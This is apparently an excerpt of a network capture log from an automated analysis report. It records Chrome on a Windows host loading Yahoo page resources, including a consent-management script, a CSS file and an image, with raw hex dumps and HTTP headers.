2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 6d be 8a b4 f0 5f 65 32 20 f3 b1 af ad 50 66 fb 7e 99 65 56 57 83 b8 d4 37 42 dd ec 32 e8 3a 2a a3 1f d2 6c ff e0 ae 74 76 3f 91 d0 8c f6 d2 7f 28 09 cb 72 96 7b 47 0d 96 85 fb a6 33 bb b6 7b 34 cf a9 d1 69 01 3a 13 6b ce 6b b2 0a eb 0d 85 34 a6 69 b2 70 00 1e 8a 34 f0 83 da 04 7c 92 c3 69 90 b4 31 38 21 1a 2b f5 28 0c 3a 00 73 8a 7b 6c 06 ea 2e c1 57 ae 98 46 7c b7 f5 cf cb ec 1b 88 f9 a9 ed 2a de 32 d8 78 70 ff dd 96 32 22 ed ea 07 9c 41 3e d4 a2 82 b6 8c e6 b4 0d 99 2d 41 44 68 c6 a2 7e f7 16 c3 74 43 c4 c7 10 fd 69 e6 b8 7f 8d 0a ea a3 c4 95 12 39 be 0d 9f 58 f9 52 24 fd b6 ed 04 0c c5 cb a2 f7 1c af f0 c0 60 ee a8 48 b7 97 1c 70 a2 70 21 c1 3d df 7a f5 d3 8f da 05 bd bd 6a c3 59 f0 c8 70 65 f8 db 62 63 88 f2 e4 15 ab 19 72 a4 12 fa a0 96 c4 df 21 f6 Data Ascii: m_e2 Pf~eVW7B2:ltv?(r{G3{4i:kk4ip4\|i18!+(:s{l.WF\|2xp2"A>-ADh~tCi9XR$`Hpp!=zjYpebcr!
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: d3 04 af 4d 15 45 0c df 50 13 53 b8 a7 47 b1 9f 0c c4 6b 22 53 12 20 6f 94 fe 5d bb 50 f7 53 43 05 b5 ba 35 65 81 cc e5 7e 0b 97 69 36 0f 8e 66 f0 a4 29 46 65 34 0a ce e6 ec ef 20 c2 33 be 04 2e dd 1c 27 25 73 83 a2 e2 15 6e 17 7a e0 39 12 ef 19 de 0d dd f2 42 cc 00 f9 18 04 f2 e5 49 8d d0 8a 4a 09 8a dd 1c de 5c 12 d1 6b 28 ba 0f 3a bd 66 80 67 ef f1 b0 cb f6 1d d9 6d 5b 0b a9 85 3b 02 c3 b7 a5 75 e2 0c ba 5d ef ad ec 28 60 2a f9 9f df 6e d9 03 d8 ac 4d ea 4b 01 f4 6b d4 d3 59 e8 c7 20 e1 a9 65 8b c1 ca 29 6b 96 5e bd e5 b9 0c 11 72 71 e4 83 69 c9 d8 b0 a5 0b 3f 5a af 92 0a 89 ab 32 fb cd 01 d9 ee 60 15 05 22 92 1d 33 91 a7 46 9a 6d 38 1b a5 48 3c 24 14 a9 fb e4 a0 19 b9 a1 69 f4 8e 05 1c 58 ee b3 73 c4 3e 32 5b 8c 52 16 32 12 b6 b9 2c 7d 0a e2 e5 b1 c7 Data Ascii: MEPSGk"S o]PSC5e~i6f)Fe4 3.'%snz9BIJ\k(:fgm[;u](`*nMKkY e)k^rqi?Z2`"3Fm8H<$iXs>2[R2,}
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 41 5b 75 cf 89 4c f2 74 37 96 1f 11 c1 31 bc 5e 08 4a 4c 2f e0 73 d7 b1 59 06 1b a0 c9 f8 2b c0 80 8b 9e c9 b6 65 80 c8 c4 f7 a8 7e 87 54 8e b8 2e ee a4 90 c8 90 7b 76 1a 74 43 50 36 61 03 52 e0 ee 1e 35 78 88 e7 76 03 bd 00 1e 27 18 73 d4 ed ca 7e 79 97 e3 a6 16 11 ed 84 5b 62 67 14 d8 bc b8 81 e4 33 61 77 d0 f9 9c 3e 38 a1 80 7a 25 10 fa f6 67 67 6c f5 4c 8c 3d 1c 5b ab 7c f0 b9 b1 9c 77 03 d5 5d 8b fe 09 93 eb a7 e8 52 0f 7e 60 37 06 5b f0 41 f2 23 c8 27 3a 5c 96 45 bc 50 d2 a4 6b ee 32 67 a4 d1 e5 1c fb 83 d0 cb cd da ce ed 42 c8 34 90 2f 00 3d 0c 54 dc 79 eb 0c d5 45 05 28 ce 92 c3 e5 0d a8 f5 ac fd c8 fa f9 3d ba 07 1d 3a 45 1c 8c 8d 47 76 7c 61 2f e1 5b cf 7e 9f c8 e2 dc 1d aa 5c 9e 4e fd c0 2f 1d 12 53 dc 7a 2e e0 09 f0 95 a0 77 20 20 02 a0 7a c9 Data Ascii: A[uLt71^JL/sY+e~T.{vtCP6aR5xv's~y[bg3aw>8z%gglL=[\|w]R~`7[A#':\EPk2gB4/=TyE(=:EGv\|a/[~\N/Sz.w z
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: bb 05 b1 4a d4 31 11 ed 9d 40 a2 e9 d4 07 76 b3 51 24 01 b2 61 40 b5 ae 90 ce 02 cd 3f e7 5f 9d 2c dc 05 d0 05 c4 73 dc e6 6a 60 11 44 bb 41 c9 58 03 fe a2 9b f3 75 70 37 5e 4b 82 fc f3 f8 f6 a7 ee f4 b8 eb 52 ac 8d f4 b0 9a f0 ca a4 bc df 6a ed 9c 53 52 97 0b a0 25 6a 7e 27 6b 5c 0b 7e bc 96 32 bb 7b 82 58 9f 48 d4 c5 cf b6 a5 1f 03 e5 79 3f b5 e7 ad e6 0c db d4 66 93 11 95 e6 6a 18 63 af 3e d7 66 39 31 05 67 58 eb aa 9a be cf ac 26 c5 b7 d4 49 b3 40 29 74 f1 05 24 59 12 a5 64 0d d4 13 16 98 20 1f 26 fb 42 ae 02 26 41 88 19 56 cf 34 fc 7f 36 95 92 98 6a 03 e0 18 08 89 1d 15 ad 49 ea e9 16 0e 80 e2 90 2c ae d7 4c 6b f8 e4 3d aa f9 1c 4d 4b 25 25 96 25 a7 f8 7c 2f 59 ec 11 60 78 ae a2 30 0f 47 cc b4 89 da 9c a8 d6 7b 52 3d ac 5d df d2 77 60 e2 fc 0e 39 e8 Data Ascii: J1@vQ$a@?_,sj`DAXup7^KRjSR%j~'k\~2{XHy?fjc>f91gX&I@)t$Yd &B&AV46jI,Lk=MK%%%\|/Y`x0G{R=]w`9
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 63 b5 bf 12 b9 ca e9 aa 68 22 9c 0c 60 cd e8 6a 16 7b 13 b2 48 d7 5b 93 3d e1 a6 c4 dd 31 35 3c 9c e4 ab 81 63 b1 a2 3e 58 d4 69 c9 86 6b 88 f8 b0 4b e8 5d 5d 01 d5 66 ba bd 54 4a 9a a4 c3 22 67 c5 36 e5 99 ed 45 49 b1 66 81 ef 44 f4 6d bb 23 10 07 68 ea 85 bf fd 4e ff ba 68 bb 08 03 42 60 00 f5 07 5a 2b c8 43 2c b1 73 2a 10 41 bb 5a 36 52 e7 ab 4f f4 dd 8d e6 7f 03 24 31 29 f6 68 98 c5 d5 81 2c 1e d4 a1 d0 30 5a 4b 0a 77 0f 66 b8 7b 38 d7 7a bd 30 c9 b8 7a af 85 6f ae 84 03 c0 8f a4 52 93 12 17 df f3 3c 52 af 88 82 be 7c e0 d0 1e 8f 54 9a 0b 8f 40 df fb 52 18 ed 6b e6 17 8b f1 53 76 71 b5 46 8a 65 79 d6 53 dc 79 d9 90 56 99 35 cb 01 95 ac c5 7c b8 0c 2c 6c 5d c7 8c 21 4d 8c eb 7f 59 c6 2a 01 d7 90 9c ea 4f 63 37 b8 e4 e6 09 a8 e3 26 73 6d 65 9f 0a a8 db Data Ascii: ch"`j{H[=15<c>XikK]]fTJ"g6EIfDm#hNhB`Z+C,sAZ6RO$1)h,0ZKwf{8z0zoR<R\|T@RkSvqFeySyV5\|,l]!MYOc7&sme
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 3b 13 6b 11 67 74 0f 7d 10 ad 39 a6 75 bb de 8f 75 5f 49 c9 5f 8d 6b 5a 3f 25 24 1a 05 43 7c 36 05 7a 06 d3 29 39 f6 a1 70 eb 4c 8d f9 6e 67 62 d7 79 6d 9d 7a 26 10 99 2d 3d 81 34 6f 99 20 d0 fe ac de ba 9d 69 6b 06 ab 88 85 04 f3 84 90 ca b9 d0 c5 dd 90 bd bb 2f e4 1e c9 0a b6 ba 8e ab 15 87 e4 60 e2 a4 1e df 97 28 25 4b b0 18 0e ed 19 b3 cc d1 3b 74 9b b0 a9 7a 05 0f 11 1d 6a d6 3f 10 dd c5 1f 58 34 e3 b0 13 b4 7b 73 a3 28 5d ba 94 7f f9 5f e4 31 93 1f 8b 8c 34 6e 1e 52 f6 45 21 89 23 c4 17 33 fb 60 78 ba 4c 23 32 19 a6 63 80 71 68 7a 2b 60 1d 0e e3 86 55 52 1a e9 93 4d 8f 71 04 fd 2c 8a 3c 8a ff 6f 81 6c fc b2 95 a8 dc d9 94 fe f3 c7 8b f0 4a ea ad 99 ef 19 ab ab 89 24 7f 29 72 da 4c 72 81 fc 4e e8 5b c1 38 a9 ce ff e6 a3 d5 23 c1 71 1f 63 ea 06 87 c0 Data Ascii: ;kgt}9uu_I_kZ?%$C\|6z)9pLngbymz&-=4o ik/`(%K;tzj?X4{s(]_14nRE!#3`xL#2cqhz+`URMq,<olJ$)rLrN[8#qc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49793	152.195.55.192	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	537	OUT	GET /version/6.4.1/cmp.js HTTP/1.1 Host: consent.cmp.oath.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	520	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 488428 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Sat, 27 Apr 2024 22:41:48 GMT Etag: "6863ce0703ce4f482389f8a7e640e4e6" Expires: Sun, 27 Apr 2025 22:41:48 GMT Last-Modified: Thu, 08 Feb 2024 18:14:22 GMT Server: ECD (dcd/7D18) Vary: Accept-Encoding x-amz-id-2: JiEyeZUka2tQMUaUGVUyZowe7eGYeXVDQDrCiYdzLx/7Czi3sL1AF2IJqiqzLi+sZlWAiY6rWFg= x-amz-request-id: 1VX50P7RNACWA86K X-Cache: HIT Content-Length: 184464 Connection: close
2024-04-27 22:41:48 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 4d 50 20 36 2e 34 2e 31 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 38 20 4f 61 74 68 20 48 6f 6c 64 69 6e 67 73 2c 20 49 6e 63 2e 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 31 38 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 Data Ascii: /! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof S
2024-04-27 22:41:48 UTC	1	IN	Data Raw: 3d Data Ascii: =
2024-04-27 22:41:48 UTC	16383	IN	Data Raw: 73 7d 2c 35 31 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 43 6f 6d 6d 61 6e 64 3d 76 6f 69 64 20 30 3b 74 2e 43 6f 6d 6d 61 6e 64 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 73 75 63 63 65 73 73 3d 21 30 2c 74 68 69 73 2e 63 6d 70 41 70 69 43 6f 6e 74 65 78 74 3d 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 68 69 73 2c 7b 63 61 6c 6c 62 61 63 6b 3a 74 2c 70 61 72 61 6d 65 74 65 72 3a 6e 7d 29 7d 65 78 65 63 75 74 65 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 70 6f 6e 64 28 29 7d 63 Data Ascii: s},5148:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Command=void 0;t.Command=class{constructor(e,t,n){this.success=!0,this.cmpApiContext=e,Object.assign(this,{callback:t,parameter:n})}execute(){try{return this.respond()}c
2024-04-27 22:41:49 UTC	16383	IN	Data Raw: 6e 63 6f 64 61 62 6c 65 46 69 78 65 64 42 69 74 66 69 65 6c 64 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 33 37 39 36 29 2c 69 3d 6e 28 37 34 30 29 3b 63 6c 61 73 73 20 6f 20 65 78 74 65 6e 64 73 20 69 2e 41 62 73 74 72 61 63 74 45 6e 63 6f 64 61 62 6c 65 42 69 74 53 74 72 69 6e 67 44 61 74 61 54 79 70 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 29 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 3d 65 2e 6c 65 6e 67 74 68 2c 74 68 69 73 2e 73 65 74 56 61 6c 75 65 28 65 29 7d 65 6e 63 6f 64 65 28 29 7b 72 65 74 75 72 6e 20 72 2e 46 69 78 65 64 42 69 74 66 69 65 6c 64 45 6e 63 6f 64 65 72 2e 65 6e 63 6f 64 65 28 74 68 69 73 2e 76 61 6c 75 65 2c 74 68 69 73 2e 6e 75 6d 45 6c 65 6d 65 6e 74 73 29 7d 64 65 63 6f 64 65 28 Data Ascii: ncodableFixedBitfield=void 0;const r=n(3796),i=n(740);class o extends i.AbstractEncodableBitStringDataType{constructor(e){super(),this.numElements=e.length,this.setValue(e)}encode(){return r.FixedBitfieldEncoder.encode(this.value,this.numElements)}decode(
2024-04-27 22:41:49 UTC	16383	IN	Data Raw: 45 72 72 6f 72 3d 6e 7d 2c 31 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 72 3d 6e 28 39 39 37 33 29 3b 63 6c 61 73 73 20 69 20 65 78 74 65 6e 64 73 20 72 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 65 29 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 22 7d 7d 74 2e 4c 61 7a 79 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 3d 69 7d 2c 34 35 30 34 3a 66 75 6e 63 74 Data Ascii: Error=n},1104:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LazyDecodingError=void 0;const r=n(9973);class i extends r.DecodingError{constructor(e){super(e),this.name="LazyDecodingError"}}t.LazyDecodingError=i},4504:funct
2024-04-27 22:41:49 UTC	3	IN	Data Raw: 67 28 29 Data Ascii: g()
2024-04-27 22:41:49 UTC	16383	IN	Data Raw: 2c 6e 65 77 20 6f 2e 45 6e 63 6f 64 61 62 6c 65 46 6c 65 78 69 62 6c 65 42 69 74 66 69 65 6c 64 28 28 28 29 3d 3e 64 2e 67 65 74 56 61 6c 75 65 28 29 29 2c 5b 5d 29 29 2c 73 75 70 65 72 28 74 2c 5b 5b 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 52 45 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 4c 41 53 54 5f 55 50 44 41 54 45 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 69 65 6c 64 2e 43 4d 50 5f 56 45 52 53 49 4f 4e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 54 63 66 43 61 56 31 46 Data Ascii: ,new o.EncodableFlexibleBitfield((()=>d.getValue()),[])),super(t,[[p.TcfCaV1Field.VERSION.toString(),p.TcfCaV1Field.CREATED.toString(),p.TcfCaV1Field.LAST_UPDATED.toString(),p.TcfCaV1Field.CMP_ID.toString(),p.TcfCaV1Field.CMP_VERSION.toString(),p.TcfCaV1F
2024-04-27 22:41:49 UTC	1	IN	Data Raw: 31 Data Ascii: 1
2024-04-27 22:41:49 UTC	16383	IN	Data Raw: 22 3a 72 3d 21 30 2c 6e 5b 31 5d 3d 69 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 6e 65 77 20 63 2e 44 65 63 6f 64 69 6e 67 45 72 72 6f 72 28 22 55 6e 61 62 6c 65 20 74 6f 20 64 65 63 6f 64 65 20 73 65 67 6d 65 6e 74 20 27 22 2b 74 5b 65 5d 2b 22 27 22 29 7d 7d 74 68 69 73 2e 64 65 63 6f 64 65 53 65 67 6d 65 6e 74 73 46 72 6f 6d 42 69 74 53 74 72 69 6e 67 73 28 6e 29 2c 74 68 69 73 2e 66 69 65 6c 64 73 2e 67 65 74 28 61 2e 55 73 43 74 56 31 46 69 65 6c 64 2e 47 50 43 5f 53 45 47 4d 45 4e 54 5f 49 4e 43 4c 55 44 45 44 29 2e 73 65 74 56 61 6c 75 65 28 72 29 7d 67 65 74 49 64 28 29 7b 72 65 74 75 72 6e 20 6c 2e 49 44 7d 67 65 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 6c 2e 4e 41 4d 45 7d 7d 74 2e 55 73 43 74 56 31 3d 6c 2c 6c 2e 49 44 Data Ascii: ":r=!0,n[1]=i;break;default:throw new c.DecodingError("Unable to decode segment '"+t[e]+"'")}}this.decodeSegmentsFromBitStrings(n),this.fields.get(a.UsCtV1Field.GPC_SEGMENT_INCLUDED).setValue(r)}getId(){return l.ID}getName(){return l.NAME}}t.UsCtV1=l,l.ID
2024-04-27 22:41:49 UTC	16383	IN	Data Raw: 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 41 44 44 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 3b 69 66 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 75 69 6c 74 2d 49 6e 20 43 75 73 74 6f 6d 20 43 6f 6d 6d 6d 61 6e 64 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 3a 20 55 73 65 20 22 29 2e 63 6f 6e 63 61 74 28 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 47 45 54 5f 54 43 5f 44 41 54 41 2c 22 20 69 6e 73 74 65 61 64 22 29 29 3b 69 66 28 6e 3d 6f 2e 54 43 46 43 6f 6d 6d 61 6e 64 2e 52 45 4d 4f 56 45 5f 45 56 45 4e 54 5f 4c 49 53 54 45 4e 45 52 2c 6e 75 6c 6c 3d 3d Data Ascii: n(){function e(e){if(e){var n=o.TCFCommand.ADD_EVENT_LISTENER;if(null==e?void 0:e[n])throw new Error("Built-In Custom Commmand for ".concat(n," not allowed: Use ").concat(o.TCFCommand.GET_TC_DATA," instead"));if(n=o.TCFCommand.REMOVE_EVENT_LISTENER,null==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49797	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	611	OUT	GET /pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	807	IN	HTTP/1.1 200 OK x-amz-id-2: tiEHjRi5VnLPo5sicFDO6RgOfLrM1U23H4Xh8Ln+VUt03bocJ2o4ePzPwWrLsHW9OhSgjwGpbldNCXSElR/dfznqsMP/CYMV x-amz-request-id: PXVDDFRA4JA8BJT1 Date: Sat, 27 Apr 2024 07:36:09 GMT Last-Modified: Tue, 28 Mar 2023 10:17:50 GMT ETag: "da05f5d596c887a6a5221011fa70d158" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 1610 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54341 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 3a 72 6f 6f 74 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 64 61 72 6b 5d 20 5b 64 61 74 61 2d 6d 61 69 6e 74 61 69 6e 2d 63 6f 6c 6f 72 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 73 72 63 68 2d 74 6e 2d 66 6c 61 6d 65 2d 63 6f 6c 6f 72 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 2d 36 33 2e 39 34 64 65 67 2c 20 23 31 44 32 32 32 38 20 30 25 2c 20 23 31 44 32 32 32 38 20 31 36 2e 31 25 2c 20 23 42 32 33 39 30 39 20 31 36 2e 31 25 2c 20 23 42 32 33 39 30 39 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 Data Ascii: :root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled][data-color-scheme=light]{--srch-tn-flame-color:linear-gradient(-63.94deg, #1D2228 0%, #1D2228 16.1%, #B23909 16.1%, #B23909 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D222
2024-04-27 22:41:49 UTC	310	IN	Data Raw: 39 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 38 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 38 20 36 37 2e 38 25 2c 20 23 42 32 33 39 30 39 20 36 37 2e 38 25 2c 20 23 42 32 33 39 30 39 20 38 33 2e 39 25 2c 20 23 46 46 35 32 30 44 20 38 33 2e 39 25 29 3b 2d 2d 73 72 63 68 2d 74 6e 2d 66 6c 61 6d 65 2d 69 63 6f 6e 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 69 63 6f 6e 2d 66 6c 61 6d 65 2d 6c 69 67 68 74 2d 32 30 32 33 30 33 30 31 30 33 35 32 2e 67 69 66 27 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 72 63 68 54 6e 54 65 78 74 41 6e 69 6d 74 69 6f 6e 7b 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 Data Ascii: 9 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D2228 48.2%, #1D2228 67.8%, #B23909 67.8%, #B23909 83.9%, #FF520D 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-light-202303010352.gif')}}@keyframes srchTnTextAnimtion{0%{background-p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49798	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	763	OUT	GET /uu/api/res/1.2/UBMooNKKCIrVBSrb.DltNg--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/cd405030-049f-11ef-9c1f-972b114593c0.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	1198	IN	HTTP/1.1 200 OK Content-Length: 13456 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 301813853958573624784380524655393267055,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="cd405030-049f-11ef-9c1f-972b114593c0.webp" Edge-Cache-Tag: 301813853958573624784380524655393267055,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "f978c8bf358dc42843698227a8f92fa9" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 15:00:02 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=13456,owidth=5000,oheight=2816,obytes=2822699,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 15:06:49 GMT X-Served-By: cache-lga21931-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714230409.472166,VS0,VE1 Age: 27300 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
